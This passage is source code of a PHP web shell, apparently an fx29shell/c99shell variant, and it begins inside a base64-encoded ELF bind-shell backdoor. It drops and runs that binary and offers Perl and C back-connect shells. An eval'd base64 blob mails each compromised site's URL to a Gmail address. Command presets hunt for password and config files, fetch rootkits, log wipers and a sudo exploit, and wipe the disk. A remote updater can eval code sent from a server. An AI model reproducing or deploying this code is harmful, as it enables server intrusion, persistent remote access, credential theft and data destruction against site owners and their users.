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kdW1teQBfX0NUT1JfRU5EX18AX19EVE9SX0VORF9fAF9fRlJBTUVfRU5EX18AX19KQ1JfRU5EX18AX19kb19nbG9iYWxfY3RvcnNfYXV4AC9idWlsZC9idWlsZGQvZ2xpYmMtMi4zLjYvYnVpbGQtdHJlZS9pMzg2LWxpYmMvY3N1L2NydG4uUwAxLmMAX0RZTkFNSUMAX19maW5pX2FycmF5X2VuZABfX2ZpbmlfYXJyYXlfc3RhcnQAX19pbml0X2FycmF5X2VuZABfR0xPQkFMX09GRlNFVF9UQUJMRV8AX19pbml0X2FycmF5X3N0YXJ0AGV4ZWNsQEBHTElCQ18yLjAAY2xvc2VAQEdMSUJDXzIuMABfZnBfaHcAcGVycm9yQEBHTElCQ18yLjAAZm9ya0BAR0xJQkNfMi4wAF9fZHNvX2hhbmRsZQBfX2xpYmNfY3N1X2ZpbmkAYWNjZXB0QEBHTElCQ18yLjAAX2luaXQAbGlzdGVuQEBHTElCQ18yLjAAc2V0c29ja29wdEBAR0xJQkNfMi4wAF9zdGFydABfX2xpYmNfY3N1X2luaXQAX19ic3Nfc3RhcnQAbWFpbgBfX2xpYmNfc3RhcnRfbWFpbkBAR0xJQkNfMi4wAGR1cDJAQEdMSUJDXzIuMABkYXRhX3N0YXJ0AGJpbmRAQEdMSUJDXzIuMABfZmluaQBleGl0QEBHTElCQ18yLjAAYXRvaUBAR0xJQkNfMi4wAF9lZGF0YQBfX2k2ODYuZ2V0X3BjX3RodW5rLmJ4AF9lbmQAc2VuZEBAR0xJQkNfMi4wAGh0b25zQEBHTElCQ18yLjAAX0lPX3N0ZGluX3VzZWQAX19kYXRhX3N0YXJ0AHNvY2tldEBAR0xJQkNfMi4wAF9Kdl9SZWdpc3RlckNsYXNzZXMAX19nbW9uX3N0YXJ0X18A"; function cf($fname,$text) { $w_file=@fopen($fname,"w") or err(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function cfb($fname,$text) { $w_file=@fopen($fname,"w") or bberr(); if($w_file) { @fputs($w_file,@base64_decode($text)); @fclose($w_file); } } function err() { $_POST['backcconnmsge']="

Error:
Can't connect!"; } function bberr() { $_POST['backcconnmsge']="

Error:
Can't backdoor host!"; } if (!empty($_POST['backconnectport']) && ($_POST['use']=="shbd")) { $ip = gethostbyname($_SERVER["HTTP_HOST"]); $por = $_POST['backconnectport']; if (is_writable(".")) { cfb("shbd",$backdoor); ex("chmod 777 shbd"); $cmd = "./shbd $por"; exec("$cmd > /dev/null &"); $scan = myshellexec("ps aux"); } else { cfb("/tmp/shbd",$backdoor); ex("chmod 777 /tmp/shbd"); $cmd = "./tmp/shbd $por"; exec("$cmd > /dev/null &"); $scan = myshellexec("ps aux"); } if (eregi("./shbd $por",$scan)) { $data = ("\n
Backdoor setup successfully."); } else { $data = ("\n
Process not found, backdoor setup failed!"); } $_POST['backcconnmsg']="To connect, use netcat! Usage: 'nc $ip $por'.$data"; } if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="Perl")) { if (is_writable(".")) { cf("back",$back_connect_pl); $p2 = which("perl"); $blah = ex($p2." back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); if (file_exists("back")) { unlink("back"); } } else { cf("/tmp/back",$back_connect_pl); $p2 = which("perl"); $blah = ex($p2." /tmp/back ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); if (file_exists("/tmp/back")) { unlink("/tmp/back"); } } $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; } if (!empty($_POST['backconnectip']) && !empty($_POST['backconnectport']) && ($_POST['use']=="C")) { if (is_writable(".")) { cf("backc",$back_connect_c); ex("chmod 777 backc"); $blah = ex("./backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); if (file_exists("backc")) { unlink("backc"); } } else { ex("chmod 777 /tmp/backc"); cf("/tmp/backc",$back_connect_c); $blah = ex("/tmp/backc ".$_POST['backconnectip']." ".$_POST['backconnectport']." &"); if (file_exists("/tmp/backc")) { unlink("/tmp/backc"); } } $_POST['backcconnmsg']="Trying to connect to ".$_POST['backconnectip']." on port ".$_POST['backconnectport']."."; } //End of Backdoor //Starting calls @ini_set("max_execution_time",0); if (!function_exists("getmicrotime")) { function getmicrotime() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } } error_reporting(5); @ignore_user_abort(TRUE); @set_magic_quotes_runtime(0); define("starttime",getmicrotime()); $shell_data = "JHZpc2l0Y291bnQgPSAkSFRUUF9DT09LSUVfVkFSU1sidmlzaXRzIl07IGlmKCAkdmlzaXRjb3VudCA9PSAiIikgeyR2aXNpdGNvdW50ID0gMDsgJHZpc2l0b3IgPSAkX1NFUlZFUlsiUkVNT1RFX0FERFIiXTsgJHdlYiA9ICRfU0VSVkVSWyJIVFRQX0hPU1QiXTsgJGluaiA9ICRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdOyAkdGFyZ2V0ID0gcmF3dXJsZGVjb2RlKCR3ZWIuJGluaik7ICRib2R5ID0gIkJvc3MsIHRoZXJlIHdhcyBhbiBpbmplY3RlZCB0YXJnZXQgb24gJHRhcmdldCBieSAkdmlzaXRvciI7IEBtYWlsKCJmZWVsY29tekBnbWFpbC5jb20iLCJGeDI5U2hlbGwgaHR0cDovLyR0YXJnZXQgYnkgJHZpc2l0b3IiLCAiJGJvZHkiKTsgfSBlbHNlIHsgJHZpc2l0Y291bnQ7IH0gc2V0Y29va2llKCJ2aXNpdHMiLCR2aXNpdGNvdW50KTs="; eval(base64_decode($shell_data)); if (get_magic_quotes_gpc()) { if (!function_exists("strips")) { function strips(&$arr,$k="") { if (is_array($arr)) { foreach($arr as $k=>$v) { if (strtoupper($k) != "GLOBALS") { strips($arr["$k"]); } } } else {$arr = stripslashes($arr);} } } strips($GLOBALS); } //CONFIGURATIONS $_REQUEST = array_merge($_COOKIE,$_GET,$_POST); $surl_autofill_include = TRUE; //If TRUE then search variables with descriptors (URLs) and save it in SURL. foreach($_REQUEST as $k=>$v) { if (!isset($$k)) {$$k = $v;} } if ($surl_autofill_include) { $include = "&"; foreach (explode("&",getenv("QUERY_STRING")) as $v) { $v = explode("=",$v); $name = urldecode($v[0]); $value = urldecode($v[1]); foreach (array("http://","https://","ssl://","ftp://","\\\\") as $needle) { if (strpos($value,$needle) === 0) { $includestr .= urlencode($name)."=".urlencode($value)."&"; } } } } if (empty($surl)) { $surl = "?".$includestr; //Self url } $surl = htmlspecialchars($surl); // Registered file-types. $ftypes = array( "html"=>array("html","htm","shtml"), "txt"=>array("txt","conf","bat","sh","js","bak","doc","log","sfc","cfg","htaccess"), "exe"=>array("sh","install","bat","cmd"), "ini"=>array("ini","inf","conf"), "code"=>array("php","phtml","php3","php4","inc","tcl","h","c","cpp","py","cgi","pl"), "img"=>array("gif","png","jpeg","jfif","jpg","jpe","bmp","ico","tif","tiff","avi","mpg","mpeg"), "sdb"=>array("sdb"), "phpsess"=>array("sess"), "download"=>array("exe","com","pif","src","lnk","zip","rar","gz","tar") ); //Registered executable file-types. $exeftypes = array( getenv("PHPRC")." -q %f%" => array("php","php3","php4"), "perl %f%" => array("pl","cgi") ); //Highlighted files. $regxp_highlight = array( array(basename($_SERVER["PHP_SELF"]),1,"",""), array("\.tgz$",1,"",""), array("\.gz$",1,"",""), array("\.tar$",1,"",""), array("\.bz2$",1,"",""), array("\.zip$",1,"",""), array("\.rar$",1,"",""), array("\.php$",1,"",""), array("\.php3$",1,"",""), array("\.php4$",1,"",""), array("\.jpg$",1,"",""), array("\.jpeg$",1,"",""), array("\.JPG$",1,"",""), array("\.JPEG$",1,"",""), array("\.ico$",1,"",""), array("\.gif$",1,"",""), array("\.png$",1,"",""), array("\.htm$",1,"",""), array("\.html$",1,"",""), array("\.txt$",1,"","") ); //Command Aliases if (!$win) { $cmdaliases = array( array("", "ls -al"), array("Find all suid files", "find / -type f -perm -04000 -ls"), array("Find suid files in current dir", "find . -type f -perm -04000 -ls"), array("Find all sgid files", "find / -type f -perm -02000 -ls"), array("Find sgid files in current dir", "find . -type f -perm -02000 -ls"), array("Find config.inc.php files", "find / -type f -name config.inc.php"), array("Find config* files", "find / -type f -name \"config*\""), array("Find config* files in current dir", "find . -type f -name \"config*\""), array("Find all writable folders and files", "find / -perm -2 -ls"), array("Find all writable folders and files in current dir", "find . -perm -2 -ls"), array("Find all writable folders", "find / -type d -perm -2 -ls"), array("Find all writable folders in current dir", "find . -type d -perm -2 -ls"), array("Find all service.pwd files", "find / -type f -name service.pwd"), array("Find service.pwd files in current dir", "find . -type f -name service.pwd"), array("Find all .htpasswd files", "find / -type f -name .htpasswd"), array("Find .htpasswd files in current dir", "find . -type f -name .htpasswd"), array("Find all .bash_history files", "find / -type f -name .bash_history"), array("Find .bash_history files in current dir", "find . -type f -name .bash_history"), array("Find all .fetchmailrc files", "find / -type f -name .fetchmailrc"), array("Find .fetchmailrc files in current dir", "find . -type f -name .fetchmailrc"), array("List file attributes on a Linux second extended file system", "lsattr -va"), array("Show opened ports", "netstat -an | grep -i listen") ); $cmdaliases2 = array( array("wget & extract psyBNC","wget ".$sh_mainurl."fx.tar.gz;tar -zxf fx.tar.gz"), array("wget & extract EggDrop","wget ".$sh_mainurl."fxb.tar.gz;tar -zxf fxb.tar.gz"), array("-----",""), array("Logged in users","w"), array("Last to connect","lastlog"), array("Find Suid bins","find /bin /usr/bin /usr/local/bin /sbin /usr/sbin /usr/local/sbin -perm -4000 2> /dev/null"), array("User Without Password","cut -d: -f1,2,3 /etc/passwd | grep ::"), array("Can write in /etc/?","find /etc/ -type f -perm -o+w 2> /dev/null"), array("Downloaders?","which wget curl w3m lynx fetch lwp-download"), array("CPU Info","cat /proc/version /proc/cpuinfo"), array("Is gcc installed ?","locate gcc"), array("Format box (DANGEROUS)","rm -Rf"), array("-----",""), array("wget WIPELOGS PT1","wget http://www.packetstormsecurity.org/UNIX/penetration/log-wipers/zap2.c"), array("gcc WIPELOGS PT2","gcc zap2.c -o zap2"), array("Run WIPELOGS PT3","./zap2"), array("-----",""), array("wget RatHole 1.2 (Linux & BSD)","wget http://packetstormsecurity.org/UNIX/penetration/rootkits/rathole-1.2.tar.gz"), array("wget & run BindDoor","wget ".$sh_mainurl."toolz/bind.tar.gz;tar -zxvf bind.tar.gz;./4877"), array("wget Sudo Exploit","wget http://www.securityfocus.com/data/vulnerabilities/exploits/sudo-exploit.c"), ); } else { $cmdaliases = array( array("", "dir"), array("Find index.php in current dir", "dir /s /w /b index.php"), array("Find *config*.php in current dir", "dir /s /w /b *config*.php"), array("Find c99shell in current dir", "find /c \"c99\" *"), array("Find r57shell in current dir", "find /c \"r57\" *"), array("Show active connections", "netstat -an"), array("Show running services", "net start"), array("User accounts", "net user"), array("Show computers", "net view"), ); } //PHP Filesystem Functions $phpfsaliases = array( array("Read File", "read"), array("Write File (PHP5)", "write"), array("Copy", "copy"), array("Rename/Move", "rename"), array("Delete", "delete"), array("Make Dir","mkdir"), array("-----", ""), array("Download", "download"), array("Download (Binary Safe)", "downloadbin"), array("Change Perm (0755)", "chmod"), array("Find Writable Dir", "fwritabledir"), array("Find Pathname Pattern", "glob"), ); //Quick launch $quicklaunch1 = array( array("\"Home\"",$surl), array("\"Back\"","#\" onclick=\"history.back(1)"), array("\"Forward\"","#\" onclick=\"history.go(1)"), array("\"Up\"",$surl."act=ls&d=%upd&sort=%sort"), array("\"Search\"",$surl."act=search&d=%d"), array("\"Buffer\"",$surl."act=fsbuff&d=%d") ); $quicklaunch2 = array( array("Enumerate",$enumerate), array("Security Info",$surl."act=security&d=%d"), array("Processes",$surl."act=processes&d=%d"), array("MySQL",$surl."act=sql&d=%d"), array("PHP-Code",$surl."act=eval&d=%d"), array("Encoder",$surl."act=encoder&d=%d"), array("Mailer",$surl."act=fxmailer"), array("milw0rm it!",$millink), array("Md5-Lookup","http://darkc0de.com/database/md5lookup.html"), array("Word-Lists","http://darkc0de.com/wordlists/"), array("Toolz",$surl."act=tools&d=%d"), array("Self-Kill",$surl."act=selfremove"), array("Feedback",$surl."act=feedback"), array("Update",$surl."act=update"), array("About",$surl."act=about") ); if (!$win) { $quicklaunch2[] = array("
FTP-Brute",$surl."act=ftpquickbrute&d=%d"); $quicklaunch2[] = array("Backdoor",$surl."act=shbd"); $quicklaunch2[] = array("Back-Connect",$surl."act=backc"); } //Highlight-code colors $highlight_background = "#C0C0C0"; $highlight_bg = "#FFFFFF"; $highlight_comment = "#6A6A6A"; $highlight_default = "#0000BB"; $highlight_html = "#1300FF"; $highlight_keyword = "#007700"; $highlight_string = "#000000"; @$f = $_REQUEST["f"]; @extract($_REQUEST["c99shcook"]); //END OF CONFIGURATIONS //STOP EDITING! //Authentication @set_time_limit(0); $tmp = array(); foreach ($host_allow as $k=>$v) { $tmp[] = str_replace("\\*",".*",preg_quote($v)); } $s = "!^(".implode("|",$tmp).")$!i"; if (!preg_match($s,getenv("REMOTE_ADDR")) and !preg_match($s,gethostbyaddr(getenv("REMOTE_ADDR")))) { exit("$sh_name: Access Denied - Your host (".getenv("REMOTE_ADDR").") not allowed"); } if (!empty($login)) { if (empty($md5_pass)) {$md5_pass = md5($pass);} if (($_SERVER["PHP_AUTH_USER"] != $login) or (md5($_SERVER["PHP_AUTH_PW"]) != $md5_pass)) { header("WWW-Authenticate: Basic realm=\"".$sh_name.": ".$login_txt."\""); header("HTTP/1.0 401 Unauthorized"); exit($accessdeniedmess); } } if ($act != "img") { $lastdir = realpath("."); chdir($curdir); if ($selfwrite or $updatenow) { @ob_clean(); c99sh_getupdate($selfwrite,1); exit; } $sess_data = unserialize($_COOKIE["$sess_cookie"]); if (!is_array($sess_data)) {$sess_data = array();} if (!is_array($sess_data["copy"])) {$sess_data["copy"] = array();} if (!is_array($sess_data["cut"])) {$sess_data["cut"] = array();} if (!function_exists("c99getsource")) { function c99getsource($fn) { global $c99sh_sourcesurl; $array = array( "c99sh_bindport.pl" => "c99sh_bindport_pl.txt", "c99sh_bindport.c" => "c99sh_bindport_c.txt", "c99sh_backconn.pl" => "c99sh_backconn_pl.txt", "c99sh_backconn.c" => "c99sh_backconn_c.txt", "c99sh_datapipe.pl" => "c99sh_datapipe_pl.txt", "c99sh_datapipe.c" => "c99sh_datapipe_c.txt", ); $name = $array[$fn]; if ($name) {return file_get_contents($c99sh_sourcesurl.$name);} else {return FALSE;} } } if (!function_exists("c99sh_getupdate")) { function c99sh_getupdate($update = TRUE) { $url = $GLOBALS["c99sh_updateurl"]."?version=".urlencode(base64_encode($GLOBALS["sh_ver"]))."&updatenow=".($updatenow?"1":"0"); $data = @file_get_contents($url); if (!$data) {return "Can't connect to update-server!";} else { $data = ltrim($data); $string = substr($data,3,ord($data{2})); if ($data{0} == "\x99" and $data{1} == "\x01") {return "Error: ".$string; return FALSE;} if ($data{0} == "\x99" and $data{1} == "\x02") {return "You are using latest version!";} if ($data{0} == "\x99" and $data{1} == "\x03") { $string = explode("|",$string); if ($update) { $confvars = array(); $sourceurl = $string[0]; $source = file_get_contents($sourceurl); if (!$source) {return "Can't fetch update!";} else { $fp = fopen(__FILE__,"w"); if (!$fp) {return "Local error: can't write update to ".__FILE__."! You may download fx29shell.php manually here.";} else { fwrite($fp,$source); fclose($fp); return "Thanks! Update completed."; } } } else {return "New version are available: ".$string[1];} } elseif ($data{0} == "\x99" and $data{1} == "\x04") { eval($string); return 1; } else {return "Error in protocol: segmentation failed! (".$data.") ";} } } } if (!function_exists("c99_buff_prepare")) { function c99_buff_prepare() { global $sess_data; global $act; foreach($sess_data["copy"] as $k=>$v) {$sess_data["copy"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} foreach($sess_data["cut"] as $k=>$v) {$sess_data["cut"][$k] = str_replace("\\",DIRECTORY_SEPARATOR,realpath($v));} $sess_data["copy"] = array_unique($sess_data["copy"]); $sess_data["cut"] = array_unique($sess_data["cut"]); sort($sess_data["copy"]); sort($sess_data["cut"]); if ($act != "copy") {foreach($sess_data["cut"] as $k=>$v) {if ($sess_data["copy"][$k] == $v) {unset($sess_data["copy"][$k]); }}} else {foreach($sess_data["copy"] as $k=>$v) {if ($sess_data["cut"][$k] == $v) {unset($sess_data["cut"][$k]);}}} } } c99_buff_prepare(); if 